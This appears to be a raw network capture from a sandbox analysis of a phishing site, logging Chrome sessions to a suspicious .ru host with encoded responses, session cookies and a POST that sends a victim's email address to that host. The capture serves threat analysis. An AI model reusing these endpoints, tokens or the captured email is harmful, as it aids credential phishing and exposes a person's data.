2025-03-26 23:47:02 UTC	287	IN	Data Raw: 43 45 4c 4d 78 74 34 4e 69 67 42 49 41 38 58 50 41 30 2f 52 67 55 6e 52 67 38 2f 4a 77 73 42 55 58 77 69 63 41 4d 49 50 58 45 48 48 53 74 77 53 53 41 7a 4c 57 63 6e 43 77 46 44 5a 7a 59 53 48 69 41 55 42 78 67 32 57 6b 6c 41 49 44 4d 74 49 53 63 69 47 51 39 39 49 67 59 2b 49 7a 70 77 4f 6a 41 46 64 30 45 6c 49 33 51 35 44 41 51 47 42 32 73 69 42 6a 4d 6c 44 78 64 39 4e 77 56 6b 53 51 68 48 45 79 63 68 43 79 77 45 59 52 59 72 45 77 67 54 50 54 59 77 49 46 30 43 48 69 42 31 48 41 77 50 46 51 39 34 4e 67 34 43 47 78 38 75 4b 7a 45 66 58 68 59 4e 4e 77 41 77 44 41 38 57 42 56 4e 44 63 55 51 4e 41 42 38 6b 4e 6a 39 64 41 69 45 67 4c 6a 41 55 46 42 34 59 61 43 59 7a 42 77 67 66 43 79 51 32 42 6e 77 46 4a 30 59 58 4c 69 51 62 44 56 39 79 47 41 55 54 43 42 51 45 Data Ascii: CELMxt4NigBIA8XPA0/RgUnRg8/JwsBUXwicAMIPXEHHStwSSAzLWcnCwFDZzYSHiAUBxg2WklAIDMtISciGQ99IgY+IzpwOjAFd0ElI3Q5DAQGB2siBjMlDxd9NwVkSQhHEychCywEYRYrEwgTPTYwIF0CHiB1HAwPFQ94Ng4CGx8uKzEfXhYNNwAwDA8WBVNDcUQNAB8kNj9dAiEgLjAUFB4YaCYzBwgfCyQ2BnwFJ0YXLiQbDV9yGAUTCBQE
2025-03-26 23:47:02 UTC	1369	IN	Data Raw: 39 35 35 0d 0a 4a 6f 52 67 63 64 41 44 41 4d 44 78 55 50 65 44 5a 31 48 43 49 36 49 54 77 32 41 6c 34 57 43 54 41 79 48 41 77 50 46 51 39 34 4d 67 55 54 49 68 41 44 4a 77 34 76 58 51 51 65 44 69 34 77 43 41 67 6e 49 33 67 79 42 52 4d 49 46 41 51 72 44 51 56 33 47 79 56 47 4a 53 34 6e 66 77 49 64 61 7a 4a 31 48 69 4e 6c 50 54 6f 33 41 6c 34 57 44 55 59 59 5a 78 38 6d 42 67 56 2f 4e 54 63 2f 43 42 51 45 4b 78 30 72 63 42 59 64 52 6e 67 6b 4a 33 38 64 58 6e 67 79 43 51 34 4d 4c 51 68 37 46 77 46 77 46 67 30 33 41 32 34 47 4a 52 55 50 65 44 49 47 47 78 73 41 41 79 63 4f 4d 48 67 57 49 51 4d 75 4d 41 77 50 46 51 39 34 4d 67 59 64 47 41 41 4c 50 67 35 62 65 77 63 67 49 33 51 38 43 69 55 56 41 6e 77 31 42 55 55 59 41 79 6b 67 47 78 39 65 46 67 30 33 41 44 41 4d Data Ascii: 955JoRgcdADAMDxUPeDZ1HCI6ITw2Al4WCTAyHAwPFQ94MgUTIhADJw4vXQQeDi4wCAgnI3gyBRMIFAQrDQV3GyVGJS4nfwIdazJ1HiNlPTo3Al4WDUYYZx8mBgV/NTc/CBQEKx0rcBYdRngkJ38dXngyCQ4MLQh7FwFwFg03A24GJRUPeDIGGxsAAycOMHgWIQMuMAwPFQ94MgYdGAALPg5bewcgI3Q8CiUVAnw1BUUYAykgGx9eFg03ADAM
2025-03-26 23:47:02 UTC	1027	IN	Data Raw: 63 5a 46 79 30 4a 44 78 55 64 61 43 59 4f 41 69 55 50 46 44 38 64 4b 77 51 62 4a 6b 5a 30 5a 78 77 62 47 6c 68 34 4f 54 63 2f 43 42 51 45 4b 78 30 72 63 42 59 6d 49 77 63 75 48 33 34 34 48 58 30 6d 44 67 49 6c 48 78 63 36 4e 6a 78 65 46 67 6b 4f 41 79 41 67 43 43 63 6a 65 44 49 46 45 77 67 66 64 51 63 64 4b 33 41 57 44 54 64 30 4c 52 38 55 48 6c 70 51 4a 67 6f 59 49 69 34 48 66 54 59 72 52 68 59 49 47 52 73 37 48 42 51 47 57 56 49 63 45 67 34 49 48 78 4d 2f 48 53 42 43 4f 67 30 33 41 44 41 4d 44 78 55 50 55 7a 59 6f 44 69 55 55 64 44 59 77 49 46 30 43 48 69 64 77 5a 79 41 55 46 67 52 2b 47 41 59 42 49 32 56 77 49 42 73 66 58 68 59 4e 4e 77 41 77 44 41 38 57 48 32 67 6d 46 68 38 67 41 48 41 69 47 77 46 77 42 67 73 44 4c 6a 41 4d 44 78 55 50 56 79 41 72 45 Data Ascii: cZFy0JDxUdaCYOAiUPFD8dKwQbJkZ0ZxwbGlh4OTc/CBQEKx0rcBYmIwcuH344HX0mDgIlHxc6NjxeFgkOAyAgCCcjeDIFEwgfdQcdK3AWDTd0LR8UHlpQJgoYIi4HfTYrRhYIGRs7HBQGWVIcEg4IHxM/HSBCOg03ADAMDxUPUzYoDiUUdDYwIF0CHidwZyAUFgR+GAYBI2VwIBsfXhYNNwAwDA8WH2gmFh8gAHAiGwFwBgsDLjAMDxUPVyArE
2025-03-26 23:47:02 UTC	1369	IN	Data Raw: 38 61 62 0d 0a 6d 41 55 45 62 41 7a 59 48 48 53 74 77 46 67 30 33 41 44 41 63 66 6d 30 62 55 30 49 4e 51 67 67 55 43 79 45 4f 42 57 68 47 42 78 30 41 4d 41 77 50 46 51 39 34 4f 51 59 63 47 78 41 58 50 44 59 46 55 6b 63 4e 4d 41 51 67 4a 67 51 7a 58 33 49 59 42 52 4d 49 46 41 51 72 48 53 39 37 42 79 63 5a 45 7a 73 6d 4a 6a 73 50 55 78 78 39 41 52 73 44 4e 67 63 64 4b 33 41 57 44 54 63 41 4d 42 77 68 62 52 46 72 4e 68 49 4e 44 51 38 50 4a 41 34 76 58 55 41 6e 44 69 34 77 43 78 51 57 58 48 34 47 4b 78 4d 49 46 41 51 72 48 53 74 7a 47 79 41 73 43 79 30 6e 66 78 31 65 65 44 6b 47 41 69 41 41 63 48 77 4f 4d 48 68 47 42 78 30 41 4d 41 77 50 46 6c 46 79 47 41 55 54 43 42 51 45 4f 51 31 61 43 41 51 67 4d 77 63 39 49 51 38 57 42 56 4e 43 44 67 41 49 45 41 39 39 4d Data Ascii: 8abmAUEbAzYHHStwFg03ADAcfm0bU0INQggUCyEOBWhGBx0AMAwPFQ94OQYcGxAXPDYFUkcNMAQgJgQzX3IYBRMIFAQrHS97BycZEzsmJjsPUxx9ARsDNgcdK3AWDTcAMBwhbRFrNhINDQ8PJA4vXUAnDi4wCxQWXH4GKxMIFAQrHStzGyAsCy0nfx1eeDkGAiAAcHwOMHhGBx0AMAwPFlFyGAUTCBQEOQ1aCAQgMwc9IQ8WBVNCDgAIEA99M
2025-03-26 23:47:02 UTC	857	IN	Data Raw: 52 46 48 77 32 4d 43 42 37 42 79 59 5a 49 6e 77 4d 44 32 51 50 5a 45 4d 4b 48 43 4d 51 41 79 55 32 4c 32 51 57 48 53 4e 30 50 41 77 45 47 67 52 6f 51 68 49 4e 47 77 51 48 4a 6a 59 76 43 45 41 65 4e 77 4d 74 48 78 51 65 57 6c 41 6d 43 68 67 69 4c 67 63 68 4e 6c 74 34 46 68 30 61 46 79 30 6b 47 32 45 45 55 6b 49 4b 47 43 49 75 42 7a 6f 4f 41 58 4d 5a 4a 6a 4d 32 4d 43 5a 2b 4f 46 35 72 4b 51 6b 42 45 52 52 38 50 7a 55 38 42 54 6f 4e 4e 77 41 77 44 41 38 56 44 33 67 79 42 55 77 6a 45 43 35 6e 42 43 42 2f 51 53 63 5a 65 43 49 66 4e 6d 45 73 56 43 59 4f 47 43 49 35 43 79 41 4e 57 32 63 49 4a 53 77 54 59 68 55 50 62 52 4a 56 4f 51 34 43 49 7a 6f 6d 5a 78 30 72 41 52 59 52 50 41 73 68 49 51 73 43 41 6c 55 32 4b 41 45 62 4c 67 64 35 4e 6c 74 6e 43 41 30 7a 45 7a Data Ascii: RFHw2MCB7ByYZInwMD2QPZEMKHCMQAyU2L2QWHSN0PAwEGgRoQhINGwQHJjYvCEAeNwMtHxQeWlAmChgiLgchNlt4Fh0aFy0kG2EEUkIKGCIuBzoOAXMZJjM2MCZ+OF5rKQkBERR8PzU8BToNNwAwDA8VD3gyBUwjEC5nBCB/QScZeCIfNmEsVCYOGCI5CyANW2cIJSwTYhUPbRJVOQ4CIzomZx0rARYRPAshIQsCAlU2KAEbLgd5NltnCA0zEz
2025-03-26 23:47:02 UTC	1369	IN	Data Raw: 31 30 63 33 0d 0a 31 78 42 78 30 72 63 42 59 4e 4e 77 41 77 46 51 51 43 47 32 45 57 4b 78 4d 49 46 41 51 72 48 53 74 77 46 67 30 77 4f 53 51 6b 47 47 42 51 55 6b 49 57 44 53 4e 6c 63 43 49 45 41 6e 68 42 43 41 34 69 4d 42 42 2f 41 68 39 53 4e 6e 30 4e 4a 52 4d 79 4f 6a 64 62 59 77 67 6d 52 6e 51 35 46 53 55 56 48 48 67 33 44 67 49 6c 41 48 41 6e 47 44 42 6a 48 68 34 6e 63 44 30 6e 43 32 30 43 55 41 67 47 48 43 4a 6b 43 7a 77 33 57 32 4d 5a 4a 68 6b 50 4f 77 77 4c 44 68 35 53 47 41 5a 42 49 32 51 54 4e 52 30 74 58 53 51 4e 4d 33 51 37 48 78 73 47 45 6e 30 62 4d 77 49 6a 45 43 35 6e 46 77 46 77 46 67 30 33 41 44 41 4d 44 78 55 50 59 54 59 38 42 42 45 39 50 54 59 77 49 48 73 48 4a 68 6b 69 66 42 51 5a 50 77 39 69 4a 6e 46 45 47 77 41 68 4e 51 30 77 59 77 45 Data Ascii: 10c31xBx0rcBYNNwAwFQQCG2EWKxMIFAQrHStwFg0wOSQkGGBQUkIWDSNlcCIEAnhBCA4iMBB/Ah9SNn0NJRMyOjdbYwgmRnQ5FSUVHHg3DgIlAHAnGDBjHh4ncD0nC20CUAgGHCJkCzw3W2MZJhkPOwwLDh5SGAZBI2QTNR0tXSQNM3Q7HxsGEn0bMwIjEC5nFwFwFg03ADAMDxUPYTY8BBE9PTYwIHsHJhkifBQZPw9iJnFEGwAhNQ0wYwE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49745	172.64.80.1	443	5376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:47:01 UTC	1133	OUT	GET /gqTcG7twUYwRtxUyPvN52fc472uxn HTTP/1.1 Host: c2uah.yazvbqkl.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjFqYThnOGUwblo5S3dpZXZhbWlxaEE9PSIsInZhbHVlIjoiRXNzOXlMOUc4aU9KQVM2TU1pa1gxSUhVUGIveWxtVDkwcWE1c3NPdUpFUGZiWWk3MHdqTEFuVGtuSXdTZG9zVjdKSk5FVmd3ZndqQzhBZjM1K3d6NGMzdVZKWmdFZXdIdG12UTAxTWdGdFZ2dklEcUZTRlo4NG40V3lSVUhQQTUiLCJtYWMiOiI5ODQ5ZTQ5YzZlNjAzMjk1NmRkMTFhZjdiNWI3MjNmMWEyMzIwMjYzODA3OWMzOTliNGJlNWQ1ZjRjNTM3ODA2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InJNMDkrNE95T2VkQ0NPWldYVGhPbXc9PSIsInZhbHVlIjoiaE1mRUtBRExBMkM4RHU1SC9tLytscGNITUJScVJGdG5TdGdMek5Lb2o5dHA2Y3FlelpjcTRvalNuQklHN1FBT0lIZUQ2TmNpUENITWxzaGgwVjZKSmtkTVVqZE5uK3ZYMmpiMWgwV1lyRWxCZDdYZDNrbVhrWWg1OU1sU1lDY0oiLCJtYWMiOiJmMjJiZWZkNzcwNDA4NmE1OTQ3ODE2MmZkMDY1NzFkMGFhN2YwOWU4NGE2YTk2MTA5MGE1OGYwODJlNjA1M2FlIiwidGFnIjoiIn0%3D
2025-03-26 23:47:02 UTC	1034	IN	HTTP/1.1 404 Not Found Date: Wed, 26 Mar 2025 23:47:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l10eH0iXVORBZv4bBYPQViy2I2bwSHcWkaZfgw9iAnVA308kxInVkOCom4xh8Ph5Cba%2Bg0ujP1CDKFv1oolcw0HfCgMm8g4colbdDj7FFIonvwNG9pm1XZvWAwwTB87%2B%2FRBi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=34744&min_rtt=34509&rtt_var=13411&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2048&delivery_rate=78263&cwnd=215&unsent_bytes=0&cid=c2619b65f21d1362&ts=388&x=0" Server: cloudflare CF-RAY: 926a87e0cd1e4358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=83612&min_rtt=83591&rtt_var=17667&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2822&recv_bytes=1705&delivery_rate=36536&cwnd=252&unsent_bytes=0&cid=40532eee2832c4b8&ts=732&x=0"
2025-03-26 23:47:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49743	172.64.80.1	443	5376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:47:02 UTC	1452	OUT	POST /zc9h5KLA97aYiXtDf7w01bNnVOtkaft2ArioILdXr0fq HTTP/1.1 Host: c2uah.yazvbqkl.ru Connection: keep-alive Content-Length: 29 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://c2uah.yazvbqkl.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://c2uah.yazvbqkl.ru/QPImv5ff/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlBKMDE0Wk51ZTJUR0tqMlo5YmNLMnc9PSIsInZhbHVlIjoiVmRtTjVBTTdwckJpQXBJUjE5ZjBMOUhKaHQrTi8zSU5VU0lXUzFhTmdVZEoyaDBkSlJlaEgvaFZ4UFNsdHJiS0M5dWJYSnA0MVBvNWNUbElxUlQrbEdwSlhHaWRqMzNRUWE3Z2UxMVlQZWRZWk05SlJLalBDUFNkRjVabHNSSVAiLCJtYWMiOiI5YzRiNjkzNGQ0ZDM5ODM4MmEwOTZiMDA2N2M0NzY1YzUyZGFjMWY4ZWI3MzAzZmU5NGRhZDEzMzYzZTQwYzJlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjcrcGZKaXRGS2FJckNQL0taRDlhcFE9PSIsInZhbHVlIjoiM3JveDM5ZGpCMG5adkh4eWdldlNyYnBSRTBDb2VaQzVWU3llZnJTTXpQai9CSHBUVTJWbFd1UmJBejdzVG5qWDNtWkVsZWtIRXgxUUliNXo0ckpHaEt4M0xMeXdGc1dQTnVDWlppTHVIT013amQzQ3N6UFdKN0thaXlKVUV0cCsiLCJtYWMiOiIzNWE5ZTA2NDU2NjE5NDdhMDhiN2UyMmQ1NTY3ODM2ZTk0NmMyZTdiOThhNWUyNzg2YmI5MzYwNWMzNzg1MGYzIiwidGFnIjoiIn0%3D
2025-03-26 23:47:02 UTC	29	OUT	Data Raw: 64 61 74 61 3d 75 4d 6a 65 73 73 69 65 2e 73 6d 69 74 68 25 34 30 61 6f 6c 2e 63 6f 6d Data Ascii: data=uMjessie.smith%40aol.com
2025-03-26 23:47:02 UTC	1215	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:47:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p5i8FiIBK40pnuzYfRj8zqVfXHn1Mv95UVWI639Kd2ppm0LmHUIYecA3ny6ofJHUXAcUU1HkjcLlfzD%2F%2Bl%2Bc0VIkUU%2B424cdvnzWSdM2kdF0OsFYQsnJTvBg8ago4ewWOekr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=31787&min_rtt=31545&rtt_var=9022&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2395&delivery_rate=89754&cwnd=154&unsent_bytes=0&cid=446b48acc897d928&ts=229&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IkNpcndQekk3b3llKzhIQ3I3RGhkTFE9PSIsInZhbHVlIjoiMjlMZGtLSDZ0T0MvYVNMVDZuaDZxdjc0ZVMvb09ZL1hxdHkzZVk0V29TeENTY1dCaS9qYldrNGJRcndJMDZDeHlnSXBMZWNRRldGOGtFNlhGZzlFdWxQNDVlaXZDN3hMZWV3TjFoRGhIdGEwWXZIdWdkaEthL0tsU3Ywa3puemkiLCJtYWMiOiI1Y2I5NTlmYzgwZGVkMmY1YTRlY2I4MDU4MDYzMTU4NTRkMjk4ZjUxNTJhZGYwNzA5NWQyOTRiMzNiYzAwOGY5IiwidGFnIjoiIn0%3D; expires=Thu, 27-Mar-2025 01:47:02 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-26 23:47:02 UTC	766	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 52 7a 55 45 70 55 57 46 4e 69 53 43 39 75 4f 56 46 76 4f 54 4a 5a 62 69 74 56 4e 31 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 59 58 59 32 64 31 67 34 54 79 74 61 53 33 64 75 57 45 4a 4f 56 6e 64 31 5a 55 52 31 55 58 52 71 59 6d 70 4b 56 33 6c 33 53 6e 56 35 57 58 52 48 4f 48 51 30 65 44 56 4e 5a 6d 77 77 4d 6a 6b 7a 5a 33 68 6d 64 45 68 4f 65 58 52 7a 59 32 39 52 4b 30 6c 47 56 33 64 6d 59 6b 4d 31 63 44 52 57 61 46 52 56 52 44 67 76 62 6d 51 34 4d 54 42 73 65 6d 6c 55 4f 44 56 49 52 56 70 31 57 6b 70 46 57 6a 68 77 53 45 77 79 4c 32 78 6d 51 31 68 6e 63 31 42 30 61 46 6c 54 63 48 59 79 63 44 41 72 53 56 4d 35 4d 30 46 52 53 6d 63 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlRzUEpUWFNiSC9uOVFvOTJZbitVN1E9PSIsInZhbHVlIjoiYXY2d1g4TytaS3duWEJOVnd1ZUR1UXRqYmpKV3l3SnV5WXRHOHQ0eDVNZmwwMjkzZ3hmdEhOeXRzY29RK0lGV3dmYkM1cDRWaFRVRDgvbmQ4MTBsemlUODVIRVp1WkpFWjhwSEwyL2xmQ1hnc1B0aFlTcHYycDArSVM5M0FRSmc
2025-03-26 23:47:02 UTC	316	IN	Data Raw: 31 33 35 0d 0a 7b 22 61 22 3a 22 66 48 33 69 6a 34 6e 54 30 50 36 64 53 48 73 6d 58 71 30 37 43 6a 49 58 2b 6c 70 78 75 47 34 6b 6e 44 78 67 43 62 38 78 31 58 71 63 58 6a 2b 6e 6d 52 48 54 61 42 45 33 33 67 50 63 73 41 6b 36 31 77 39 75 46 79 68 72 64 75 71 2b 68 65 57 58 68 6f 74 4c 49 75 6e 37 6c 58 63 38 73 41 46 36 73 31 47 41 4a 72 54 30 2b 31 57 51 78 4a 72 64 6d 45 43 4e 37 62 74 62 76 32 34 78 5a 63 61 46 44 69 6c 72 5a 6c 59 4b 46 36 6a 78 36 74 49 55 36 4e 67 6c 37 67 3d 3d 22 2c 22 62 22 3a 22 37 62 32 33 33 61 64 38 34 39 33 36 63 32 31 63 37 36 39 66 66 30 39 36 61 38 66 62 36 39 32 37 22 2c 22 63 22 3a 22 63 38 36 38 39 32 33 36 31 63 35 66 66 62 63 62 38 65 37 34 37 33 31 35 66 62 63 61 33 36 61 62 22 2c 22 64 22 3a 22 33 34 33 35 36 34 36 Data Ascii: 135{"a":"fH3ij4nT0P6dSHsmXq07CjIX+lpxuG4knDxgCb8x1XqcXj+nmRHTaBE33gPcsAk61w9uFyhrduq+heWXhotLIun7lXc8sAF6s1GAJrT0+1WQxJrdmECN7btbv24xZcaFDilrZlYKF6jx6tIU6Ngl7g==","b":"7b233ad84936c21c769ff096a8fb6927","c":"c86892361c5ffbcb8e747315fbca36ab","d":"3435646
2025-03-26 23:47:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49746	172.64.80.1	443	5376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:47:02 UTC	1329	OUT	GET /favicon.ico HTTP/1.1 Host: c2uah.yazvbqkl.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://c2uah.yazvbqkl.ru/QPImv5ff/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlBKMDE0Wk51ZTJUR0tqMlo5YmNLMnc9PSIsInZhbHVlIjoiVmRtTjVBTTdwckJpQXBJUjE5ZjBMOUhKaHQrTi8zSU5VU0lXUzFhTmdVZEoyaDBkSlJlaEgvaFZ4UFNsdHJiS0M5dWJYSnA0MVBvNWNUbElxUlQrbEdwSlhHaWRqMzNRUWE3Z2UxMVlQZWRZWk05SlJLalBDUFNkRjVabHNSSVAiLCJtYWMiOiI5YzRiNjkzNGQ0ZDM5ODM4MmEwOTZiMDA2N2M0NzY1YzUyZGFjMWY4ZWI3MzAzZmU5NGRhZDEzMzYzZTQwYzJlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjcrcGZKaXRGS2FJckNQL0taRDlhcFE9PSIsInZhbHVlIjoiM3JveDM5ZGpCMG5adkh4eWdldlNyYnBSRTBDb2VaQzVWU3llZnJTTXpQai9CSHBUVTJWbFd1UmJBejdzVG5qWDNtWkVsZWtIRXgxUUliNXo0ckpHaEt4M0xMeXdGc1dQTnVDWlppTHVIT013amQzQ3N6UFdKN0thaXlKVUV0cCsiLCJtYWMiOiIzNWE5ZTA2NDU2NjE5NDdhMDhiN2UyMmQ1NTY3ODM2ZTk0NmMyZTdiOThhNWUyNzg2YmI5MzYwNWMzNzg1MGYzIiwidGFnIjoiIn0%3D
2025-03-26 23:47:03 UTC	844	IN	HTTP/1.1 404 Not Found Date: Wed, 26 Mar 2025 23:47:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4uhYeyHDq0WZinUZK0VUt3RS91PXcjRXLUUkpHXoyDOPYvZfKW77hr%2B4VJJgsDqTfF1H8b2%2FlIRgpnRcCjyAsYokT04EcFI4f3Yh2tG2zg27VdADCJifRzAmLLjO6FBS7hyN"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server-Timing: cfL4;desc="?proto=TCP&rtt=8426&min_rtt=8364&rtt_var=2389&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2243&delivery_rate=337360&cwnd=251&unsent_bytes=0&cid=61759cc145e0c9e9&ts=329&x=0" Cache-Control: max-age=14400 Cf-Cache-Status: EXPIRED CF-RAY: 926a87e51823557d-EWR alt-svc: h3=":443"; ma=86400
2025-03-26 23:47:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49747	35.190.80.1	443	5376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:47:02 UTC	542	OUT	OPTIONS /report/v4?s=l10eH0iXVORBZv4bBYPQViy2I2bwSHcWkaZfgw9iAnVA308kxInVkOCom4xh8Ph5Cba%2Bg0ujP1CDKFv1oolcw0HfCgMm8g4colbdDj7FFIonvwNG9pm1XZvWAwwTB87%2B%2FRBi HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://c2uah.yazvbqkl.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 23:47:02 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Wed, 26 Mar 2025 23:47:02 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49751	35.190.80.1	443	5376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:47:03 UTC	517	OUT	POST /report/v4?s=l10eH0iXVORBZv4bBYPQViy2I2bwSHcWkaZfgw9iAnVA308kxInVkOCom4xh8Ph5Cba%2Bg0ujP1CDKFv1oolcw0HfCgMm8g4colbdDj7FFIonvwNG9pm1XZvWAwwTB87%2B%2FRBi HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 414 Content-Type: application/reports+json Origin: https://c2uah.yazvbqkl.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 23:47:03 UTC	414	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 34 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 39 38 39 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 34 2e 38 30 2e 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 32 75 61 68 2e 79 61 7a 76 62 71 6b 6c 2e 72 75 2f Data Ascii: [{"age":4,"body":{"elapsed_time":989,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"172.64.80.1","status_code":404,"type":"http.error"},"type":"network-error","url":"https://c2uah.yazvbqkl.ru/
2025-03-26 23:47:03 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Wed, 26 Mar 2025 23:47:03 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49748	172.64.80.1	443	5376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
